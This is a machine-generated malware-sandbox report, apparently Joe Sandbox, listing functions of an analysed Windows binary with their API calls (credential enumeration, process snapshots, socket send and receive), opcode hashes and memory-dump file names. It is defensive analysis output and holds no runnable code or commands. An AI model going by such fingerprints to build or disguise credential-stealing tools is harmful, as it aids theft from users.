Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: CloseCreateCredEnumerateFirstHandleMutexProcess32ReleaseSnapshotToolhelp32recv
String ID:
API String ID: 420082584-0
Opcode ID: bdc3095a1b87ea801f36cca919535da8ad91ef6c23b11170d4e8423925a6948e
Instruction ID: b7027bf2ce9b2ea6ad0ceec43819c75fce15e83751ebe24b1eb90875d48ac58b
Opcode Fuzzy Hash: bdc3095a1b87ea801f36cca919535da8ad91ef6c23b11170d4e8423925a6948e
Instruction Fuzzy Hash: 3A213651E0D68342FB10B7B4A4563BE5260AF867F0F146B31E6BEC15D7FF1CA0819611

Function 00007FF6F1DCC7FD Relevance: 3.0, APIs: 2, Instructions: 47synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F1DD4A30: recv.WS2_32 ref: 00007FF6F1DD4C0C

ReleaseMutex.KERNEL32 ref: 00007FF6F1DCC83B
CloseHandle.KERNEL32 ref: 00007FF6F1DCC844

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: CloseHandleMutexReleaserecv
String ID:
API String ID: 2659716615-0
Opcode ID: 243e1f54ec1414a6cb5ddf1cb52e513f16c7a96ffc7a79d155c63164a1710649
Instruction ID: e6c90422daa95262677bfcff468d4f2c6333034296dc1ceb65115e1ef96b7fa1
Opcode Fuzzy Hash: 243e1f54ec1414a6cb5ddf1cb52e513f16c7a96ffc7a79d155c63164a1710649
Instruction Fuzzy Hash: 2A119E52E0C68342FB10B774A4163BB5260AF857F0F046B30EABEC16D7FF1CA0819611

Function 00007FF6F1DF0E9C Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF6F1DF0E88,?,?,?,?,00000000,00007FF6F1DF0F91), ref: 00007FF6F1DF0EE8
GetLastError.KERNEL32(?,?,?,?,?,00007FF6F1DF0E88,?,?,?,?,00000000,00007FF6F1DF0F91), ref: 00007FF6F1DF0EF2

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 85342b8448b5f83962e520861b5040a532baca975cc467821ece28218af4e603
Instruction ID: 7df5e53e0252aca9fb7d8034c75a13f93b0dfbe6c3cc613a2d48d17f0a892607
Opcode Fuzzy Hash: 85342b8448b5f83962e520861b5040a532baca975cc467821ece28218af4e603
Instruction Fuzzy Hash: 4411C162B18B8281DB108B25A404069A3A2EB44BF4F584331EE7E877E9EF7CD5518B40

Function 00007FF6F1DFE888 Relevance: 3.0, APIs: 2, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1DFE8B8

Part of subcall function 00007FF6F1DFF8DC: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6F1DFF8E5

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1DFE8BE

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: ad7fb39d7d0572768195cdb96d88edf57c93c5d00d8eaa663e4c704e5b7bea2c
Instruction ID: 8d7c6629df132d622177bc2d585b0e445dd40f5fc520a52c163dd6dd2bd5a034
Opcode Fuzzy Hash: ad7fb39d7d0572768195cdb96d88edf57c93c5d00d8eaa663e4c704e5b7bea2c
Instruction Fuzzy Hash: 38E01741E1A20B19FF2C32B219160B900B00FC97F4E2D1B30E97DC82C3BF2CB691A290

Function 00007FF6F1DED3C8 Relevance: 3.0, APIs: 2, Instructions: 18memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF6F1DED3DE
GetLastError.KERNEL32 ref: 00007FF6F1DED3E8

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: b7253a55b1276d1b57d670979138b52c86c30a15e8b70f9b8b054cc625f4c6ce
Instruction ID: 657f89f3da78b6526861adec5cb51cf06ef06baface02bc2bcaf5db71db7f855
Opcode Fuzzy Hash: b7253a55b1276d1b57d670979138b52c86c30a15e8b70f9b8b054cc625f4c6ce
Instruction Fuzzy Hash: 90E01241F0EA4792FF186BF298551B552B15FA8BD2F444534D93EC32D2FF1C66858700

Function 00007FF6F1D93FF0 Relevance: 1.8, APIs: 1, Instructions: 320COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F1DA0610: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1DA0778
Part of subcall function 00007FF6F1DA0610: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DA0784

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9447D

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID:
API String ID: 3936042273-0
Opcode ID: f7a5fae346d49418a259f2144e74660c7793d79a264084466c1e800f2545a7eb
Instruction ID: 8b14f122d5a88948b4a91cd366bdd54552d37824e1d56100f4731a5da496bdc2
Opcode Fuzzy Hash: f7a5fae346d49418a259f2144e74660c7793d79a264084466c1e800f2545a7eb
Instruction Fuzzy Hash: 3CE17B22B18A4185FB10CB65E5702AD37B0FB64B98F858236CE6D57BDAEF78D490C340

Function 00007FF6F1D90CA0 Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D90FA7

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 46bfd7fd693d14b8a40e56580b9aca085a586189c41b9c025baaca2826a730ce
Instruction ID: 18291871a8683347e9d4bc4f50e8373474b061f74679736ef95c520882fb9235
Opcode Fuzzy Hash: 46bfd7fd693d14b8a40e56580b9aca085a586189c41b9c025baaca2826a730ce
Instruction Fuzzy Hash: 46B17D73605A81CADB208F25E0A02AC73B5FB48B98F445632EB6D87BD8EF39D555C300

Function 00007FF6F1DDD640 Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DDD829

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: b46c84e554cf87a31c7403c59b850c015f01269e6a4ab1ed29684fe9716b0d09
Instruction ID: b2b175e9cd69f00a6218a1ed6814c3de672c1b6d90e65ee4450e2c141a4c0044
Opcode Fuzzy Hash: b46c84e554cf87a31c7403c59b850c015f01269e6a4ab1ed29684fe9716b0d09
Instruction Fuzzy Hash: 9E51D022F08AC59AFF118F78D4003BC7372AF54788F045720DEAE62AD5EF38A5958340

Function 00007FF6F1DED8C8 Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DED8F0

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 506399ceb7efd258d9ee9312528a7fb0108d3bcc24f039aa6e7519c78468f3b6
Instruction ID: 0569b8ec176bf3101c38a35bf8163050edb98975370d5b71bd194c22d03a1eaa
Opcode Fuzzy Hash: 506399ceb7efd258d9ee9312528a7fb0108d3bcc24f039aa6e7519c78468f3b6
Instruction Fuzzy Hash: 9E41F432909A0687EB648B18D940279B3B1FB56BD2F101331DAAEC36D0EF2CE602C750

Function 00007FF6F1DD5FC0 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD6147

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: d56805f9f9b8ac08e9b0cad6b337a6538991adb9596a96bd4002cb9149b5e6e5
Instruction ID: 28a86cbd40ddb613b6c856eb68c071f6b231dc1529d36332168716913b45c485
Opcode Fuzzy Hash: d56805f9f9b8ac08e9b0cad6b337a6538991adb9596a96bd4002cb9149b5e6e5
Instruction Fuzzy Hash: 1E413872F15B488EE7008FB9D4413AC73B6E788798F005625EEAC66B89EF3491648394

Function 00007FF6F1DF080C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DF0892

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a24f7c79d48368e33d7deb9d4eeecb52ce7ec7a6106812cc151fd4020b53ad0d
Instruction ID: b1cdf05a08d57f9c02f804a817bf5b9bbc48a62f375674efa5d1e2eae7a6e815
Opcode Fuzzy Hash: a24f7c79d48368e33d7deb9d4eeecb52ce7ec7a6106812cc151fd4020b53ad0d
Instruction Fuzzy Hash: 4B31CA22E1C64286F7516B5598003BC6AA0AF94FE1F820335E93DC33D2EF7DE6418790

Function 00007FF6F1D920B0 Relevance: 1.6, APIs: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D921A7

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: ac99ae4b8f2f9aeb6558dedae17f3ad0c9b61f3dc6d82d2f0be5afc8845eae51
Instruction ID: fdd9e7cf4773cbd03345bafe68ae75b2f2eb2d6dde30a5dcc470590457c89f0d
Opcode Fuzzy Hash: ac99ae4b8f2f9aeb6558dedae17f3ad0c9b61f3dc6d82d2f0be5afc8845eae51
Instruction Fuzzy Hash: DB310976B05B4981EF058F69D4A026C3365EB88F89B948536CF5D477A8EF3CD454C340

Function 00007FF6F1DF4E91 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6F1DF4EBF

Part of subcall function 00007FF6F1DF4FB8: GetModuleHandleExW.KERNEL32 ref: 00007FF6F1DF4FDD
Part of subcall function 00007FF6F1DF4FB8: GetProcAddress.KERNEL32 ref: 00007FF6F1DF4FF3
Part of subcall function 00007FF6F1DF4FB8: FreeLibrary.KERNEL32 ref: 00007FF6F1DF501A

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 9e03c0276b42d0bae273c9ceb8b8abd1e24865752fa8da44abca3c0ffcb1668a
Instruction ID: 4c6382a82b1edfb424c91bea7a46025a887e4d3aaf44807eb05a94f319ae3756
Opcode Fuzzy Hash: 9e03c0276b42d0bae273c9ceb8b8abd1e24865752fa8da44abca3c0ffcb1668a
Instruction Fuzzy Hash: 32214C32A046468AEB648F68C4482EC37B0EB5475CF580735E73D86AD5EF78D684CB40

Function 00007FF6F1E0E200 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1E0E15D

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 277766cc613ac521deff1262cc5973a4c6dda0ce244441028124d0478fb53980
Instruction ID: b8ab04e406a0588d883b5567a5d17af0f1e39038b529860be5219634dddfef1e
Opcode Fuzzy Hash: 277766cc613ac521deff1262cc5973a4c6dda0ce244441028124d0478fb53980
Instruction Fuzzy Hash: 28116D32E1D64281EB60AF1194002BEA2B0BF95BC0F445131EAEED7BD6EF3CE9009740

Function 00007FF6F1E0FEF8 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1E0FF1B

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 4bdd7c7df9abbb715da046ae302baf4d590079e7e30464498c50f0bf6b7ea38d
Instruction ID: 434e408dc77c73d0e24f8d67fdf1568321becaddfe8593d6fd42d45c075337ae
Opcode Fuzzy Hash: 4bdd7c7df9abbb715da046ae302baf4d590079e7e30464498c50f0bf6b7ea38d
Instruction Fuzzy Hash: C821A472A1CA4287DB658F18D4403B976A0EB95BD4F585238E67EC76D9EF3CD4508B00

Function 00007FF6F1DF54B4 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DF54DF

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 42dcc955d4fd3197300f6b05653cf2d2f457e7ff6d65b15765544b4f1739082b
Instruction ID: f56ffa6585533dfe67a5ebab9ed20e18f766a325d27a241eec40d39af7552209
Opcode Fuzzy Hash: 42dcc955d4fd3197300f6b05653cf2d2f457e7ff6d65b15765544b4f1739082b
Instruction Fuzzy Hash: 66115832A1D64682E3109F14A444069A3B1EF807D0F450634EA7EC77E6EF3CFA108F00

Function 00007FF6F1D7F380 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D7F3E3

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 2e6290f5ceb1e1a5d08f15c314bfe9c0271c0b50a60e4e2b27b7f570e3d12b72
Instruction ID: 230268cabd1d161ee7a9d6c45d48e5b0014f635b9f47cfb3fee04f02f6910c41
Opcode Fuzzy Hash: 2e6290f5ceb1e1a5d08f15c314bfe9c0271c0b50a60e4e2b27b7f570e3d12b72
Instruction Fuzzy Hash: E2F0C2A2E15B8540EB189B24E04437C6361AB44FC8F544532CABC4A6D6EF7DC585C340

Function 00007FF6F1DD0E00 Relevance: 1.5, APIs: 1, Instructions: 38networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF6F1DD0E48

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
